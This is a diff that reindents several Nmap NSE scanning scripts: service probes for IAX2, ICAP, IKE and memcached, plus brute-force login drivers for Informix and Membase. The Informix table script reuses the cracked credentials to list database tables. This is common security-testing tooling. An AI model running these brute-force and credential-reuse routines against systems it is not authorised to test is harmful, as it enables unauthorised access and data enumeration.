||||||
if v_level > 1 and v_level < 5 then
|
if v_level > 1 and v_level < 5 then
|
||||||
detail = 40
|
detail = 40
|
||||||
-- double debug mode, print everything
|
-- double debug mode, print everything
|
||||||
elseif v_level >= 5 then
|
elseif v_level >= 5 then
|
||||||
detail = dis_count
|
detail = dis_count
|
||||||
end
|
end
|
||||||
|
|
||||||
-- check we have enough entries
|
-- check we have enough entries
|
||||||
if detail > dis_count then
|
if detail > dis_count then
|
||||||
detail = dis_count
|
detail = dis_count
|
||||||
end
|
end
|
||||||
|
|
||||||
noun = dis_count == 1 and "entry " or "entries "
|
noun = dis_count == 1 and "entry " or "entries "
|
||||||
|
|
||||||
local shown = (detail == 0 or detail == dis_count)
|
local shown = (detail == 0 or detail == dis_count)
|
||||||
and "\n" or '(' .. detail .. ' shown)\n'
|
and "\n" or '(' .. detail .. ' shown)\n'
|
||||||
|
|
||||||
return dis_count .. " disallowed " .. noun ..
|
return dis_count .. " disallowed " .. noun ..
|
||||||
shown .. table.concat(output, ' ', 1, detail)
|
shown .. table.concat(output, ' ', 1, detail)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -24,30 +24,30 @@ categories = {"version"}
|
|||||||
portrule = shortport.version_port_or_service(4569, nil, "udp")
|
portrule = shortport.version_port_or_service(4569, nil, "udp")
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
-- see http://www.cornfed.com/iax.pdf for all options.
|
-- see http://www.cornfed.com/iax.pdf for all options.
|
||||||
local poke = string.char(0x80, 0x00, 0x00, 0x00)
|
local poke = string.char(0x80, 0x00, 0x00, 0x00)
|
||||||
poke = poke .. string.char(0x00, 0x00, 0x00, 0x00)
|
poke = poke .. string.char(0x00, 0x00, 0x00, 0x00)
|
||||||
poke = poke .. string.char(0x00, 0x00, 0x06, 0x1e)
|
poke = poke .. string.char(0x00, 0x00, 0x06, 0x1e)
|
||||||
|
|
||||||
local status, recv = comm.exchange(host, port, poke, {proto=port.protocol,timeout=10000})
|
local status, recv = comm.exchange(host, port, poke, {proto=port.protocol,timeout=10000})
|
||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if (#recv) == 12 then
|
if (#recv) == 12 then
|
||||||
local byte11 = string.format("%02X", string.byte(recv, 11))
|
local byte11 = string.format("%02X", string.byte(recv, 11))
|
||||||
local byte12 = string.format("%02X", string.byte(recv, 12))
|
local byte12 = string.format("%02X", string.byte(recv, 12))
|
||||||
|
|
||||||
-- byte11 must be \x06 IAX Control Frame
|
-- byte11 must be \x06 IAX Control Frame
|
||||||
-- and byte12 must be \x03 or \x04
|
-- and byte12 must be \x03 or \x04
|
||||||
if ((byte11 == "06") and
|
if ((byte11 == "06") and
|
||||||
(byte12 == ("03" or "04")))
|
(byte12 == ("03" or "04")))
|
||||||
then
|
then
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
port.version.name = "iax2"
|
port.version.name = "iax2"
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -43,75 +43,75 @@ portrule = shortport.port_or_service(1344, "icap")
|
|||||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||||
|
|
||||||
local function parseResponse(resp)
|
local function parseResponse(resp)
|
||||||
if ( not(resp) ) then
|
if ( not(resp) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local resp_p = { header = {}, rawheader = {} }
|
local resp_p = { header = {}, rawheader = {} }
|
||||||
local resp_tbl = stdnse.strsplit("\r?\n", resp)
|
local resp_tbl = stdnse.strsplit("\r?\n", resp)
|
||||||
|
|
||||||
if ( not(resp_tbl) or #resp_tbl == 0 ) then
|
if ( not(resp_tbl) or #resp_tbl == 0 ) then
|
||||||
stdnse.print_debug(2, "Received an invalid response from server")
|
stdnse.print_debug(2, "Received an invalid response from server")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
resp_p.status = tonumber(resp_tbl[1]:match("^ICAP/1%.0 (%d*) .*$"))
|
resp_p.status = tonumber(resp_tbl[1]:match("^ICAP/1%.0 (%d*) .*$"))
|
||||||
resp_p['status-line'] = resp_tbl[1]
|
resp_p['status-line'] = resp_tbl[1]
|
||||||
|
|
||||||
for i=2, #resp_tbl do
|
for i=2, #resp_tbl do
|
||||||
local key, val = resp_tbl[i]:match("^([^:]*):%s*(.*)$")
|
local key, val = resp_tbl[i]:match("^([^:]*):%s*(.*)$")
|
||||||
if ( not(key) or not(val) ) then
|
if ( not(key) or not(val) ) then
|
||||||
stdnse.print_debug(2, "Failed to parse header: %s", resp_tbl[i])
|
stdnse.print_debug(2, "Failed to parse header: %s", resp_tbl[i])
|
||||||
else
|
else
|
||||||
resp_p.header[key:lower()] = val
|
resp_p.header[key:lower()] = val
|
||||||
end
|
end
|
||||||
table.insert(resp_p.rawheader, resp_tbl[i])
|
table.insert(resp_p.rawheader, resp_tbl[i])
|
||||||
end
|
end
|
||||||
return resp_p
|
return resp_p
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local services = {"/avscan", "/echo", "/srv_clamav", "/url_check", "/nmap" }
|
local services = {"/avscan", "/echo", "/srv_clamav", "/url_check", "/nmap" }
|
||||||
local headers = {"Service", "ISTag"}
|
local headers = {"Service", "ISTag"}
|
||||||
local probe = {
|
local probe = {
|
||||||
"OPTIONS icap://%s%s ICAP/1.0",
|
"OPTIONS icap://%s%s ICAP/1.0",
|
||||||
"Host: %s",
|
"Host: %s",
|
||||||
"User-Agent: nmap icap-client/0.01",
|
"User-Agent: nmap icap-client/0.01",
|
||||||
"Encapsulated: null-body=0"
|
"Encapsulated: null-body=0"
|
||||||
}
|
}
|
||||||
local hostname = stdnse.get_hostname(host)
|
local hostname = stdnse.get_hostname(host)
|
||||||
local result = {}
|
local result = {}
|
||||||
|
|
||||||
for _, service in ipairs(services) do
|
for _, service in ipairs(services) do
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
if ( not(socket:connect(host, port)) ) then
|
if ( not(socket:connect(host, port)) ) then
|
||||||
return fail("Failed to connect to server")
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local request = (stdnse.strjoin("\r\n", probe) .. "\r\n\r\n"):format(hostname, service, hostname)
|
local request = (stdnse.strjoin("\r\n", probe) .. "\r\n\r\n"):format(hostname, service, hostname)
|
||||||
|
|
||||||
if ( not(socket:send(request)) ) then
|
if ( not(socket:send(request)) ) then
|
||||||
socket:close()
|
socket:close()
|
||||||
return fail("Failed to send request to server")
|
return fail("Failed to send request to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, resp = socket:receive_buf("\r\n\r\n", false)
|
local status, resp = socket:receive_buf("\r\n\r\n", false)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail("Failed to receive response from server")
|
return fail("Failed to receive response from server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local resp_p = parseResponse(resp)
|
local resp_p = parseResponse(resp)
|
||||||
if ( resp_p and resp_p.status == 200 ) then
|
if ( resp_p and resp_p.status == 200 ) then
|
||||||
local result_part = { name = service }
|
local result_part = { name = service }
|
||||||
for _, h in ipairs(headers) do
|
for _, h in ipairs(headers) do
|
||||||
if ( resp_p.header[h:lower()] ) then
|
if ( resp_p.header[h:lower()] ) then
|
||||||
table.insert(result_part, ("%s: %s"):format(h, resp_p.header[h:lower()]))
|
table.insert(result_part, ("%s: %s"):format(h, resp_p.header[h:lower()]))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
table.insert(result, result_part)
|
table.insert(result, result_part)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ local ike = require "ike"
|
|||||||
|
|
||||||
description=[[
|
description=[[
|
||||||
|
|
||||||
Obtains information (such as vendor and device type where available) from an IKE service by sending four packets to the host. This scripts tests with both Main and Aggressive Mode and sends multiple transforms per request.
|
Obtains information (such as vendor and device type where available) from an IKE service by sending four packets to the host. This scripts tests with both Main and Aggressive Mode and sends multiple transforms per request.
|
||||||
|
|
||||||
]]
|
]]
|
||||||
|
|
||||||
@@ -30,94 +30,94 @@ portrule = shortport.port_or_service(500, "isakmp", "udp")
|
|||||||
-- Test different methods for getting version
|
-- Test different methods for getting version
|
||||||
--
|
--
|
||||||
local function get_version(host, port)
|
local function get_version(host, port)
|
||||||
local packet, version, t
|
local packet, version, t
|
||||||
local auth = {"psk", "rsa", "Hybrid", "XAUTH"}
|
local auth = {"psk", "rsa", "Hybrid", "XAUTH"}
|
||||||
local encryption = {"des", "3des", "aes/128", "aes/192", "aes/256"}
|
local encryption = {"des", "3des", "aes/128", "aes/192", "aes/256"}
|
||||||
local hash = {"md5", "sha1"}
|
local hash = {"md5", "sha1"}
|
||||||
local group = {"768", "1024", "1536"}
|
local group = {"768", "1024", "1536"}
|
||||||
|
|
||||||
|
|
||||||
-- generate transforms
|
-- generate transforms
|
||||||
t = {}
|
t = {}
|
||||||
for h,a in pairs(auth) do
|
for h,a in pairs(auth) do
|
||||||
for i,e in pairs(encryption) do
|
for i,e in pairs(encryption) do
|
||||||
for j,h in pairs(hash) do
|
for j,h in pairs(hash) do
|
||||||
for k,g in pairs(group) do
|
for k,g in pairs(group) do
|
||||||
table.insert(t, { ['auth'] = a, ['encryption'] = e, ['hash'] = h, ['group'] = g});
|
table.insert(t, { ['auth'] = a, ['encryption'] = e, ['hash'] = h, ['group'] = g});
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
-- try aggressive mode (diffie hellman group 2)
|
-- try aggressive mode (diffie hellman group 2)
|
||||||
local diffie = 2
|
local diffie = 2
|
||||||
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
||||||
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
|
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
|
||||||
version = ike.send_request(host, port, packet)
|
version = ike.send_request(host, port, packet)
|
||||||
if version.success then
|
if version.success then
|
||||||
return version
|
return version
|
||||||
end
|
end
|
||||||
stdnse.print_debug(1, "Aggressive mode (dh 2) failed")
|
stdnse.print_debug(1, "Aggressive mode (dh 2) failed")
|
||||||
|
|
||||||
-- try aggressive mode (diffie hellman group 1)
|
-- try aggressive mode (diffie hellman group 1)
|
||||||
diffie = 1
|
diffie = 1
|
||||||
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
||||||
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
|
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
|
||||||
version = ike.send_request(host, port, packet)
|
version = ike.send_request(host, port, packet)
|
||||||
if version.success then
|
if version.success then
|
||||||
return version
|
return version
|
||||||
end
|
end
|
||||||
stdnse.print_debug(1, "Aggressive mode (dh 1) failed")
|
stdnse.print_debug(1, "Aggressive mode (dh 1) failed")
|
||||||
|
|
||||||
-- try aggressive mode (diffie hellman group 2, no id)
|
-- try aggressive mode (diffie hellman group 2, no id)
|
||||||
-- some checkpoint devices respond to this
|
-- some checkpoint devices respond to this
|
||||||
local diffie = 2
|
local diffie = 2
|
||||||
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
||||||
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, '')
|
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, '')
|
||||||
version = ike.send_request(host, port, packet)
|
version = ike.send_request(host, port, packet)
|
||||||
if version.success then
|
if version.success then
|
||||||
return version
|
return version
|
||||||
end
|
end
|
||||||
stdnse.print_debug(1, "Aggressive mode (dh 2, no id) failed")
|
stdnse.print_debug(1, "Aggressive mode (dh 2, no id) failed")
|
||||||
|
|
||||||
-- try main mode
|
-- try main mode
|
||||||
stdnse.print_debug(1, "Sending Main mode packet ...")
|
stdnse.print_debug(1, "Sending Main mode packet ...")
|
||||||
packet = ike.request(port.number, port.protocol, 'Main', t, '')
|
packet = ike.request(port.number, port.protocol, 'Main', t, '')
|
||||||
version = ike.send_request(host, port, packet)
|
version = ike.send_request(host, port, packet)
|
||||||
if version.success then
|
if version.success then
|
||||||
return version
|
return version
|
||||||
end
|
end
|
||||||
stdnse.print_debug(1, "Main mode failed")
|
stdnse.print_debug(1, "Main mode failed")
|
||||||
|
|
||||||
stdnse.print_debug(1, "Version detection not possible")
|
stdnse.print_debug(1, "Version detection not possible")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local ike_response = get_version(host, port)
|
local ike_response = get_version(host, port)
|
||||||
|
|
||||||
if ike_response then
|
if ike_response then
|
||||||
|
|
||||||
-- Extra information found in the response. Kept for future reference.
|
-- Extra information found in the response. Kept for future reference.
|
||||||
-- local mode = ike_response['mode']
|
-- local mode = ike_response['mode']
|
||||||
-- local vids = ike_response['vids']
|
-- local vids = ike_response['vids']
|
||||||
|
|
||||||
local info = ike_response['info']
|
local info = ike_response['info']
|
||||||
if info.vendor ~= nil then
|
if info.vendor ~= nil then
|
||||||
port.version.product = info.vendor.vendor
|
port.version.product = info.vendor.vendor
|
||||||
port.version.version = info.vendor.version
|
port.version.version = info.vendor.version
|
||||||
port.version.ostype = info.vendor.ostype
|
port.version.ostype = info.vendor.ostype
|
||||||
port.version.devicetype = info.vendor.devicetype
|
port.version.devicetype = info.vendor.devicetype
|
||||||
table.insert(port.version.cpe, info.vendor.cpe)
|
table.insert(port.version.cpe, info.vendor.cpe)
|
||||||
|
|
||||||
nmap.set_port_version(host, port, "hardmatched")
|
nmap.set_port_version(host, port, "hardmatched")
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
stdnse.print_debug(1, "Version: %s", port.version.product )
|
stdnse.print_debug(1, "Version: %s", port.version.product )
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -43,69 +43,69 @@ portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "t
|
|||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = {}
|
local o = {}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
o.host = host
|
o.host = host
|
||||||
o.port = port
|
o.port = port
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
--- Connects performs protocol negotiation
|
--- Connects performs protocol negotiation
|
||||||
--
|
--
|
||||||
-- @return true on success, false on failure
|
-- @return true on success, false on failure
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
local status, data
|
local status, data
|
||||||
self.helper = informix.Helper:new( self.host, self.port, "on_nmap_dummy" )
|
self.helper = informix.Helper:new( self.host, self.port, "on_nmap_dummy" )
|
||||||
|
|
||||||
status, data = self.helper:Connect()
|
status, data = self.helper:Connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return status, data
|
return status, data
|
||||||
end
|
end
|
||||||
|
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
--- Attempts to login to the Informix server
|
--- Attempts to login to the Informix server
|
||||||
--
|
--
|
||||||
-- @param username string containing the login username
|
-- @param username string containing the login username
|
||||||
-- @param password string containing the login password
|
-- @param password string containing the login password
|
||||||
-- @return status, true on success, false on failure
|
-- @return status, true on success, false on failure
|
||||||
-- @return brute.Error object on failure
|
-- @return brute.Error object on failure
|
||||||
-- brute.Account object on success
|
-- brute.Account object on success
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local status, data = self.helper:Login( username, password, {} )
|
local status, data = self.helper:Login( username, password, {} )
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
if ( not(nmap.registry['informix-brute']) ) then
|
if ( not(nmap.registry['informix-brute']) ) then
|
||||||
nmap.registry['informix-brute'] = {}
|
nmap.registry['informix-brute'] = {}
|
||||||
end
|
end
|
||||||
table.insert( nmap.registry['informix-brute'], { ["username"] = username, ["password"] = password } )
|
table.insert( nmap.registry['informix-brute'], { ["username"] = username, ["password"] = password } )
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
-- Check for account locked message
|
-- Check for account locked message
|
||||||
elseif ( data:match("INFORMIXSERVER does not match either DBSERVERNAME or DBSERVERALIASES") ) then
|
elseif ( data:match("INFORMIXSERVER does not match either DBSERVERNAME or DBSERVERALIASES") ) then
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
|
|
||||||
return false, brute.Error:new( data )
|
return false, brute.Error:new( data )
|
||||||
|
|
||||||
end,
|
end,
|
||||||
|
|
||||||
--- Disconnects and terminates the Informix communication
|
--- Disconnects and terminates the Informix communication
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.helper:Close()
|
self.helper:Close()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, result
|
local status, result
|
||||||
local engine = brute.Engine:new(Driver, host, port )
|
local engine = brute.Engine:new(Driver, host, port )
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
|
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -58,63 +58,63 @@ dependencies = { "informix-brute" }
|
|||||||
portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
|
portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local helper
|
local helper
|
||||||
local status, data
|
local status, data
|
||||||
local result, output = {}, {}
|
local result, output = {}, {}
|
||||||
local user = stdnse.get_script_args('informix-tables.username')
|
local user = stdnse.get_script_args('informix-tables.username')
|
||||||
local pass = stdnse.get_script_args('informix-tables.password') or ""
|
local pass = stdnse.get_script_args('informix-tables.password') or ""
|
||||||
local query= [[
|
local query= [[
|
||||||
SELECT cast(tabname as char(20)) table, cast(colname as char(20)) column, cast( cast(nrows as int) as char(20)) rows
|
SELECT cast(tabname as char(20)) table, cast(colname as char(20)) column, cast( cast(nrows as int) as char(20)) rows
|
||||||
FROM "informix".systables st, "informix".syscolumns sc
|
FROM "informix".systables st, "informix".syscolumns sc
|
||||||
WHERE sc.tabid = st.tabid and st.tabid > 99 and st.tabtype='T'
|
WHERE sc.tabid = st.tabid and st.tabid > 99 and st.tabtype='T'
|
||||||
ORDER BY table, column]]
|
ORDER BY table, column]]
|
||||||
local excluded_dbs = { ["sysmaster"] = true, ["sysutils"] = true, ["sysuser"] = true, ["sysadmin"] = true }
|
local excluded_dbs = { ["sysmaster"] = true, ["sysutils"] = true, ["sysuser"] = true, ["sysadmin"] = true }
|
||||||
|
|
||||||
-- If no user was specified lookup the first user in the registry saved by
|
-- If no user was specified lookup the first user in the registry saved by
|
||||||
-- the informix-brute script
|
-- the informix-brute script
|
||||||
if ( not(user) ) then
|
if ( not(user) ) then
|
||||||
if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then
|
if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then
|
||||||
user = nmap.registry['informix-brute'][1]["username"]
|
user = nmap.registry['informix-brute'][1]["username"]
|
||||||
pass = nmap.registry['informix-brute'][1]["password"]
|
pass = nmap.registry['informix-brute'][1]["password"]
|
||||||
else
|
else
|
||||||
return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)"
|
return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
helper = informix.Helper:new( host, port )
|
helper = informix.Helper:new( host, port )
|
||||||
|
|
||||||
status, data = helper:Connect()
|
status, data = helper:Connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return stdnse.format_output(status, data)
|
return stdnse.format_output(status, data)
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = helper:Login(user, pass)
|
status, data = helper:Login(user, pass)
|
||||||
if ( not(status) ) then return stdnse.format_output(status, data) end
|
if ( not(status) ) then return stdnse.format_output(status, data) end
|
||||||
|
|
||||||
local databases
|
local databases
|
||||||
status, databases = helper:GetDatabases()
|
status, databases = helper:GetDatabases()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return " \n ERROR: Failed to retrieve a list of databases"
|
return " \n ERROR: Failed to retrieve a list of databases"
|
||||||
end
|
end
|
||||||
|
|
||||||
for _, db in ipairs(databases) do
|
for _, db in ipairs(databases) do
|
||||||
if ( not( excluded_dbs[db] ) ) then
|
if ( not( excluded_dbs[db] ) ) then
|
||||||
status, data = helper:OpenDatabase(db)
|
status, data = helper:OpenDatabase(db)
|
||||||
if ( not(status) ) then return stdnse.format_output(status, data) end
|
if ( not(status) ) then return stdnse.format_output(status, data) end
|
||||||
status, data = helper:Query( query )
|
status, data = helper:Query( query )
|
||||||
if ( not(status) ) then return stdnse.format_output(status, data) end
|
if ( not(status) ) then return stdnse.format_output(status, data) end
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
data = informix.Util.formatTable( data[1] )
|
data = informix.Util.formatTable( data[1] )
|
||||||
data.name = "Results"
|
data.name = "Results"
|
||||||
table.insert( result, { "User: " .. user, "Database: " .. db, name="Information" } )
|
table.insert( result, { "User: " .. user, "Database: " .. db, name="Information" } )
|
||||||
table.insert(result, data )
|
table.insert(result, data )
|
||||||
end
|
end
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
helper:Close()
|
helper:Close()
|
||||||
|
|
||||||
return stdnse.format_output( true, result )
|
return stdnse.format_output( true, result )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -37,33 +37,33 @@ local arg_bucketname = stdnse.get_script_args(SCRIPT_NAME..".bucketname")
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port, options)
|
new = function(self, host, port, options)
|
||||||
local o = { host = host, port = port, options = options }
|
local o = { host = host, port = port, options = options }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function(self)
|
connect = function(self)
|
||||||
self.helper = membase.Helper:new(self.host, self.port)
|
self.helper = membase.Helper:new(self.host, self.port)
|
||||||
return self.helper:connect()
|
return self.helper:connect()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function(self, username, password)
|
login = function(self, username, password)
|
||||||
local status, response = self.helper:login(arg_bucketname or username, password)
|
local status, response = self.helper:login(arg_bucketname or username, password)
|
||||||
if ( not(status) and "Auth failure" == response ) then
|
if ( not(status) and "Auth failure" == response ) then
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
elseif ( not(status) ) then
|
elseif ( not(status) ) then
|
||||||
local err = brute.Error:new( response )
|
local err = brute.Error:new( response )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
return true, brute.Account:new( arg_bucketname or username, password, creds.State.VALID)
|
return true, brute.Account:new( arg_bucketname or username, password, creds.State.VALID)
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self)
|
disconnect = function(self)
|
||||||
return self.helper:close()
|
return self.helper:close()
|
||||||
end
|
end
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,43 +71,43 @@ Driver = {
|
|||||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||||
|
|
||||||
local function getMechs(host, port)
|
local function getMechs(host, port)
|
||||||
local helper = membase.Helper:new(host, port)
|
local helper = membase.Helper:new(host, port)
|
||||||
local status, err = helper:connect()
|
local status, err = helper:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to connect to server"
|
return false, "Failed to connect to server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, response = helper:getSASLMechList()
|
local status, response = helper:getSASLMechList()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
stdnse.print_debug(2, "%s: Received unexpected response: %s", SCRIPT_NAME, response)
|
stdnse.print_debug(2, "%s: Received unexpected response: %s", SCRIPT_NAME, response)
|
||||||
return false, "Received unexpected response"
|
return false, "Received unexpected response"
|
||||||
end
|
end
|
||||||
|
|
||||||
helper:close()
|
helper:close()
|
||||||
return true, response.mechs
|
return true, response.mechs
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local status, mechs = getMechs(host, port)
|
local status, mechs = getMechs(host, port)
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail(mechs)
|
return fail(mechs)
|
||||||
end
|
end
|
||||||
if ( not(mechs:match("PLAIN") ) ) then
|
if ( not(mechs:match("PLAIN") ) ) then
|
||||||
return fail("Unsupported SASL mechanism")
|
return fail("Unsupported SASL mechanism")
|
||||||
end
|
end
|
||||||
|
|
||||||
local result
|
local result
|
||||||
local engine = brute.Engine:new(Driver, host, port )
|
local engine = brute.Engine:new(Driver, host, port )
|
||||||
|
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.options.firstonly = true
|
engine.options.firstonly = true
|
||||||
|
|
||||||
if ( arg_bucketname ) then
|
if ( arg_bucketname ) then
|
||||||
engine.options:setOption( "passonly", true )
|
engine.options:setOption( "passonly", true )
|
||||||
end
|
end
|
||||||
|
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -39,91 +39,91 @@ portrule = shortport.port_or_service(11211, "memcached", "tcp")
|
|||||||
|
|
||||||
local filter = {
|
local filter = {
|
||||||
|
|
||||||
["pid"] = { name = "Process ID" },
|
["pid"] = { name = "Process ID" },
|
||||||
["uptime"] = { name = "Uptime", func = function(v) return ("%d seconds"):format(v) end },
|
["uptime"] = { name = "Uptime", func = function(v) return ("%d seconds"):format(v) end },
|
||||||
["time"] = { name = "Server time", func = stdnse.format_timestamp },
|
["time"] = { name = "Server time", func = stdnse.format_timestamp },
|
||||||
["pointer_size"] = { name = "Architecture", func = function(v) return v .. " bit" end },
|
["pointer_size"] = { name = "Architecture", func = function(v) return v .. " bit" end },
|
||||||
["rusage_user"] = { name = "Used CPU (user)" },
|
["rusage_user"] = { name = "Used CPU (user)" },
|
||||||
["rusage_system"] = { name = "Used CPU (system)"},
|
["rusage_system"] = { name = "Used CPU (system)"},
|
||||||
["curr_connections"] = { name = "Current connections"},
|
["curr_connections"] = { name = "Current connections"},
|
||||||
["total_connections"] = { name = "Total connections"},
|
["total_connections"] = { name = "Total connections"},
|
||||||
["maxconns"] = { name = "Maximum connections" },
|
["maxconns"] = { name = "Maximum connections" },
|
||||||
["tcpport"] = { name = "TCP Port" },
|
["tcpport"] = { name = "TCP Port" },
|
||||||
["udpport"] = { name = "UDP Port" },
|
["udpport"] = { name = "UDP Port" },
|
||||||
["auth_enabled_sasl"] = { name = "Authentication" }
|
["auth_enabled_sasl"] = { name = "Authentication" }
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
local order = {
|
local order = {
|
||||||
"pid", "uptime", "time", "pointer_size", "rusage_user", "rusage_system",
|
"pid", "uptime", "time", "pointer_size", "rusage_user", "rusage_system",
|
||||||
"curr_connections", "total_connections", "maxconns", "tcpport", "udpport",
|
"curr_connections", "total_connections", "maxconns", "tcpport", "udpport",
|
||||||
"auth_enabled_sasl"
|
"auth_enabled_sasl"
|
||||||
}
|
}
|
||||||
|
|
||||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||||
|
|
||||||
local function mergetab(tab1, tab2)
|
local function mergetab(tab1, tab2)
|
||||||
for k, v in pairs(tab2) do
|
for k, v in pairs(tab2) do
|
||||||
tab1[k] = v
|
tab1[k] = v
|
||||||
end
|
end
|
||||||
return tab1
|
return tab1
|
||||||
end
|
end
|
||||||
|
|
||||||
local function recvResponse(socket)
|
local function recvResponse(socket)
|
||||||
local kvs = {}
|
local kvs = {}
|
||||||
repeat
|
repeat
|
||||||
local status, response = socket:receive_buf("\r\n", false)
|
